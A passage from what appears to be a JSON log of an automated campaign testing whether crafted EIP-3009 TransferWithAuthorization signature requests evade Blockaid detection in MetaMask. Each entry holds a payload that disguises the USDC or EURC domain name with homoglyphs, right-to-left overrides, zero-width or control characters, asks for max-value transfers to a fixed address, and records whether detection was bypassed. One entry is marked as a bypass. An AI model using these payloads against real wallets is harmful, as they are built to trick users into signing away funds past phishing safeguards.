"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"еURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":999999999999,\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x3778bb21d18ef3d15255e06a801fdc255c358062986f57d51511a64124652f6b\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-6", "timestamp": "2026-01-31T23:48:36.305Z", "technique": "EIP3009-combo-USDC-rtl_override-max_uint-just_now-leading_zeros_nonce-checksum-signTypedData", "category": "eip3009", "description": "USDC + rtl_override + max_uint + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-7", "timestamp": "2026-01-31T23:48:42.838Z", "technique": "EIP3009-combo-EURC-trailing_space-max_uint_minus_1-far_future-all_ones-checksum-signTypedData", "category": "eip3009", "description": "EURC + trailing_space + max_uint_minus_1 + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-8", "timestamp": "2026-01-31T23:48:49.380Z", "technique": "EIP3009-combo-EURC-rtl_override-max_uint-year_2100-all_a-lowercase-signTypedData", "category": "eip3009", "description": "EURC + rtl_override + max_uint + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-9", "timestamp": "2026-01-31T23:48:55.921Z", "technique": "EIP3009-combo-USDC-cyrillic_o-dust_1-leading_zeros_ts-alternating-mixed_case-v4", "category": "eip3009", "description": "USDC + cyrillic_o + dust_1 + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Cоin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-10", "timestamp": "2026-01-31T23:49:02.458Z", "technique": "EIP3009-combo-USDC-zwsp-half_max-numeric_ts-alternating-lowercase-signTypedData", "category": "eip3009", "description": "USDC + zwsp + half_max + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD​ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-11", "timestamp": "2026-01-31T23:49:09.002Z", "technique": "EIP3009-combo-USDC-bidi_isolate-one_million-past_2020-all_a-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + bidi_isolate + one_million + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"⁦USD Coin⁩\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-12", "timestamp": "2026-01-31T23:49:15.535Z", "technique": "EIP3009-combo-USDC-null_byte-hex_max-just_now-alternating-mixed_case-v3", "category": "eip3009", "description": "USDC + null_byte + hex_max + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\u0000 Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-13", "timestamp": "2026-01-31T23:49:22.076Z", "technique": "EIP3009-combo-EURC-newline-hex_1m-far_future-leading_zeros_nonce-checksum-signTypedData", "category": "eip3009", "description": "EURC + newline + hex_1m + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\nC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN13-COMBO-14", "timestamp": "2026-01-31T23:49:28.621Z", "technique": "EIP3009-combo-EURC-ideographic_space-hex_max-narrow_1hr-random-mixed_case-v4", "category": "eip3009", "description": "EURC + ideographic_space + hex_max + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xfa5fa81a31b84972054f79d02be9dcaf54855a11543edaed5846f34f076114b4\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN14-COMBO-0", "timestamp": "2026-01-31T23:49:35.156Z", "technique": "EIP3009-combo-USDC-backspace-round_100k-just_now-alternating-mixed_case-v3", "category": "eip3009", "description": "USDC + backspace + round_100k + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\b Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN14-COMBO-1", "timestamp": "2026-01-31T23:49:41.698Z", "technique": "EIP3009-combo-USDC-tab-max_uint-far_future-zero-lowercase-v3", "category": "eip3009", "description": "USDC + tab + max_uint + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\tCoin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-2", "timestamp": "2026-01-31T23:49:48.635Z", "technique": "EIP3009-combo-USDC-combining_mark-zero-standard-mixed_case_hex-checksum-v4", "category": "eip3009", "description": "USDC + combining_mark + zero + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD̀ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x21A4Ac6d6b26B0Fe73E778Da1bC63f408dCb357b8eD1Fa2b2aF92c07A32337Ef\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true, "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-3", "timestamp": "2026-01-31T23:49:55.601Z", "technique": "EIP3009-combo-EURC-long_1024-hex_1m-standard-all_a-checksum-v3", "category": "eip3009", "description": "EURC + long_1024 + hex_1m + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-4", "timestamp": "2026-01-31T23:50:02.712Z", "technique": "EIP3009-combo-EURC-long_256-leading_zeros-numeric_ts-all_a-checksum-v3", "category": "eip3009", "description": "EURC + long_256 + leading_zeros + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN14-COMBO-5", "timestamp": "2026-01-31T23:50:09.677Z", "technique": "EIP3009-combo-EURC-zwnj-padded_64-far_future-alternating-checksum-signTypedData", "category": "eip3009", "description": "EURC + zwnj + padded_64 + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‌RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN14-COMBO-6", "timestamp": "2026-01-31T23:50:16.208Z", "technique": "EIP3009-combo-USDC-empty-numeric_max_safe-year_2100-leading_zeros_nonce-lowercase-v3", "category": "eip3009", "description": "USDC + empty + numeric_max_safe + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 